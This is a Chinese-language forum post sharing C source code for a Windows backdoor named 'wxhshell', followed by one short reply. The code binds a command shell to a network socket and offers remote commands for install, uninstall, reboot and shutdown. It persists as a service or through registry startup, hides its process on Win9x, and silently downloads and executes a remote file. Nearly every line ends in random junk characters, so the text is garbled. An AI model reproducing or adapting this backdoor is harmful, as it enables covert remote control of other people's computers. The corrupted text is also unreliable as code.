  if(DownloadFile(cmd,wsh)) N`?|~g3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AUu<@4R7  
  else DQ30\b"gU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9!FU,4 X  
  } |L`U2.hb  
  else { <bb!BS&w  
L_aqr?Q  
    switch(cmd[0]) { 4hc[ rN,]  
  Np%Q-T\  
  // 帮助 j1A%LS;c_  
  case '?': { J/ Lf(;C_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NyT%S?@y<  
    break; @HPr;m!  
  } OTE,OCB[  
  // 安装 :P/VBXh  
  case 'i': { [N Afy~X*  
    if(Install()) /Ry% K4$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )z\#  
    else c BZ,"kp-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xdx8HB@L  
    break; Ar[|M 2|  
    } tH4 q*\U  
  // 卸载 _ xTpW  
  case 'r': { qZ'2M.;  
    if(Uninstall()) qxDMDMN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "T{WOGU+  
    else Km $o@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g(W+[kj)  
    break; tjt^R$[@  
    } pS |K[:5  
  // 显示 wxhshell 所在路径 ;N?(R\* 8  
  case 'p': { (WJ)!  
    char svExeFile[MAX_PATH]; <D3mt Q  
    strcpy(svExeFile,"\n\r"); \8=)X})  
      strcat(svExeFile,ExeFile); `FQ]ad Fz  
        send(wsh,svExeFile,strlen(svExeFile),0); >~nr,V.q  
    break; vi *A 5  
    } G{]RC^Zo  
  // 重启 Jx~H4y=z  
  case 'b': { .|^Gde  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,dR.Sac v  
    if(Boot(REBOOT)) z=) m6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9I]Bt=2z  
    else { c8YbBdk'  
    closesocket(wsh); qFwt^w  
    ExitThread(0); icIn>i<m  
    } Zp3-Yo w2  
    break; v@tEHRadz  
    } gT0yI ;g]  
  // 关机 NXFi*  
  case 'd': { %~PcJhz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '/NpmNY:L  
    if(Boot(SHUTDOWN)) `MCiybl,&P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z?.9)T9_  
    else { (_"Zbw%cJy  
    closesocket(wsh); xYCJO(&  
    ExitThread(0); Qv5 fK  
    } 38D5vT)n  
    break; E I(e3  
    } n"T ^  
  // 获取shell tp}/>gU!  
  case 's': { cI'n[G  
    CmdShell(wsh); xi(1H1KN5B  
    closesocket(wsh); 'fl< ac,.  
    ExitThread(0); n)"JMzjQ<  
    break; -f&vH_eK  
  } !5(DU~S*@S  
  // 退出 4pf@.ra,  
  case 'x': { ,AweHUEn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d}zh.O5P!  
    CloseIt(wsh); ^n0;Q$\  
    break; <O 0Q]`i  
    } Rlk3AWl2u  
  // 离开 n 5R9<A^  
  case 'q': {  Q&xH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c>K]$;}  
    closesocket(wsh); E&zf<Y  
    WSACleanup(); #jW-&a  
    exit(1); I2WP/  
    break; cJaA*sg  
        } k:Y\i]#yP  
  } O^`EuaL  
  } 0S$k;q  
(&Rk#iU 2  
  // 提示信息 NGSts\D'}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Q40]>bpx  
} M%`CzCL u  
  } /HLI9  
sFz0:SqhE  
  return; 3?a`@C&x  
} HTT&T9]  
dhob]8b  
// shell模块句柄 IZj`*M%3  
int CmdShell(SOCKET sock) olv?$]  
{ iW(LD1~7  
STARTUPINFO si; `!Z?F]):G  
ZeroMemory(&si,sizeof(si)); Sp5:R75vI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dT*Yv`h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H5x7)1Ir|  
PROCESS_INFORMATION ProcessInfo; Kh\ 7%>K#  
char cmdline[]="cmd"; UgGa]b[9A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'wk,t^)  
  return 0; ?'6@m86d  
} I?}jf?!oM  
@!fUp b  
// 自身启动模式 GNMOHqg4  
int StartFromService(void) [w'Q9\,p  
{ |-}. Y(y  
typedef struct \)No?fB  
{ H%@f ^  
  DWORD ExitStatus; XqmB%g(  
  DWORD PebBaseAddress; !vAmjjB  
  DWORD AffinityMask; /S"jO [n9b  
  DWORD BasePriority; F]yB=  
  ULONG UniqueProcessId; !92e$GJ} ;  
  ULONG InheritedFromUniqueProcessId; 6/S. sj~  
}   PROCESS_BASIC_INFORMATION; y|ZL< L  
#j~FlY5  
PROCNTQSIP NtQueryInformationProcess; }8x+F2i  
"a)6g0gw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FSA%,b; U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \uOM,98xS  
'_G\_h}5  
  HANDLE             hProcess; q k^FyZ<  
  PROCESS_BASIC_INFORMATION pbi; I;t@wbY,  
tJ6@Ot  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J;>epM ;*  
  if(NULL == hInst ) return 0; CVa>5 vt  
r)5xS]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7yfh4-1M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !l0]IX` F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E)$>t}$  
*I(6hB  
  if (!NtQueryInformationProcess) return 0; Mqd'XU0L  
I@KM2 KMN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dm}eX:'{  
  if(!hProcess) return 0; ^<OYW|q?\r  
\~hrS/$[$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PK2;Ywk`  
X!Z)V)@J8  
  CloseHandle(hProcess); B[@q.n  
9O3#d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m>vwpRBOA  
if(hProcess==NULL) return 0; .Z [4:TS  
}(t`s  
HMODULE hMod; #-;W|ib%z  
char procName[255]; [Jt}^  
unsigned long cbNeeded; >4X2uNbZS  
| ky40[C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~JXz  
2xLtJR4L  
  CloseHandle(hProcess); 1X2j%q I&  
U9:)qvMXe  
if(strstr(procName,"services")) return 1; // 以服务启动 t`H1]`c?  
D!o[Sm}JO[  
  return 0; // 注册表启动 Xk4wU$1F  
} l)[|wPf  
L?[m$l!T}  
// 主模块 o%?)};o  
int StartWxhshell(LPSTR lpCmdLine) w[-)c6JyE  
{ wN!\$i@E:  
  SOCKET wsl; P?h1nxm`'  
BOOL val=TRUE; GGuU(sL*  
  int port=0; py'vD3Q  
  struct sockaddr_in door; Gw<D'b)!  
!l $d^y345  
  if(wscfg.ws_autoins) Install(); w{W+WJ  
P5<9;PPbZ  
port=atoi(lpCmdLine); A O:F*%Q u  
c#N4XsG,  
if(port<=0) port=wscfg.ws_port; lr>NG,N  
f(|k0$EIu  
  WSADATA data; [ey# ,&T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  `M I;.t  
uB  I/3aQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !XtG6ON=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r1r$y2v~  
  door.sin_family = AF_INET; ?wB_fDb}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~b~Tq  
  door.sin_port = htons(port); j9h/`Bn  
0DicrnH8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ST?{H SCz  
closesocket(wsl); |!PL"]?  
return 1; I8gNg Z  
} '. "_TEIF  
nEsD+ }E?  
  if(listen(wsl,2) == INVALID_SOCKET) { zo ?RFn  
closesocket(wsl); Y#9W]78He  
return 1; "'z}oS  
} Fe0M2%e;|  
  Wxhshell(wsl); *-9i<@|(U^  
  WSACleanup(); q2EDrZ  
F=Bdgg9s  
return 0; x2B8G;6u  
`}?;Ow&2CY  
} QOXo(S  
ni?k' \\  
// 以NT服务方式启动 ;A,X,f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T>B'T3or  
{ dkw.o.e  
DWORD   status = 0; aoey 5hts  
  DWORD   specificError = 0xfffffff; Gm B&TD m  
,&UKsrs_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O{l4 f:51  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zTa5 N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x:FZEyalG  
  serviceStatus.dwWin32ExitCode     = 0; 9w=7A>.U  
  serviceStatus.dwServiceSpecificExitCode = 0; +7gd1^|$e  
  serviceStatus.dwCheckPoint       = 0; x &R9m,  
  serviceStatus.dwWaitHint       = 0; QR&e~rks  
_^BA;S @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^K<3_D>1>  
  if (hServiceStatusHandle==0) return; "/zgh  
b{<?E };%  
status = GetLastError(); RzqgN*]lY  
  if (status!=NO_ERROR) -hXKCb4YU  
{ T aS1%(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KkCGL*]K  
    serviceStatus.dwCheckPoint       = 0; |cU75 S1  
    serviceStatus.dwWaitHint       = 0; C<D$Y,[w  
    serviceStatus.dwWin32ExitCode     = status; o`iA&  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,\6Vb*G|E>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 712nD ?>  
    return; G`FYEmD  
  } I}_}VSG(  
BY~Tc5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vIRT$W' O}  
  serviceStatus.dwCheckPoint       = 0; fxd+0R;f  
  serviceStatus.dwWaitHint       = 0; '[WL8,.Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $P{`-Y }a  
} e-rlk5k%f  
MZV$YD^S  
// 处理NT服务事件,比如:启动、停止 relt7sK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q!c=f!U?\l  
{ zGtJ@HbB  
switch(fdwControl) _Tj&gyS  
{ O>h`  
case SERVICE_CONTROL_STOP: I0+6p8,  
  serviceStatus.dwWin32ExitCode = 0; %M iv8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,-Hj  
  serviceStatus.dwCheckPoint   = 0; "Pwa}{  
  serviceStatus.dwWaitHint     = 0; WML--<dU  
  { C-y MWr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~q3O,bb{   
  } OyO]; Yk  
  return; Rn?JMM]  
case SERVICE_CONTROL_PAUSE: FaeKDbLJr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9vV==A#  
  break; \\R}3 >Wc  
case SERVICE_CONTROL_CONTINUE: E]' f&0s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (u&x.J  
  break; Or? )Nlg6x  
case SERVICE_CONTROL_INTERROGATE: 7 FE36Ub9  
  break; ; dzL9P9IU  
}; KUJLx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R,BJr y  
} Z[nHo'  
b$b;^nly  
// 标准应用程序主函数 bA)nWWSg=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J1G}l5N  
{ AIg4u(j  
%D4)Bqr  
// 获取操作系统版本 dL$ iTSfz"  
OsIsNt=GetOsVer(); ;z4J)qw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }<^mUG  
OInl?_,,T#  
  // 从命令行安装 (p5q MP]L  
  if(strpbrk(lpCmdLine,"iI")) Install(); b&P)J|Fe  
 JQQ[jl;  
  // 下载执行文件 , '0#q  
if(wscfg.ws_downexe) {  v%:deaF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &x1A {j_  
  WinExec(wscfg.ws_filenam,SW_HIDE); c-k3<|H`  
} P*6m~`"5  
!.'D"Me>  
if(!OsIsNt) { xqX3uq  
// 如果时win9x,隐藏进程并且设置为注册表启动 1'o[9-  
HideProc(); [h'u@%N|/  
StartWxhshell(lpCmdLine); ?>B?*IK!  
} t"4* ]S  
else p3Ux%/ZqPV  
  if(StartFromService()) \#,2#BmO"E  
  // 以服务方式启动 46g0 e  
  StartServiceCtrlDispatcher(DispatchTable); #KiJ{w'  
else W_}j~[&  
  // 普通方式启动 I(*3n"  
  StartWxhshell(lpCmdLine); I,hw0e  
K%dQ; C*?  
return 0; ],weqs  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五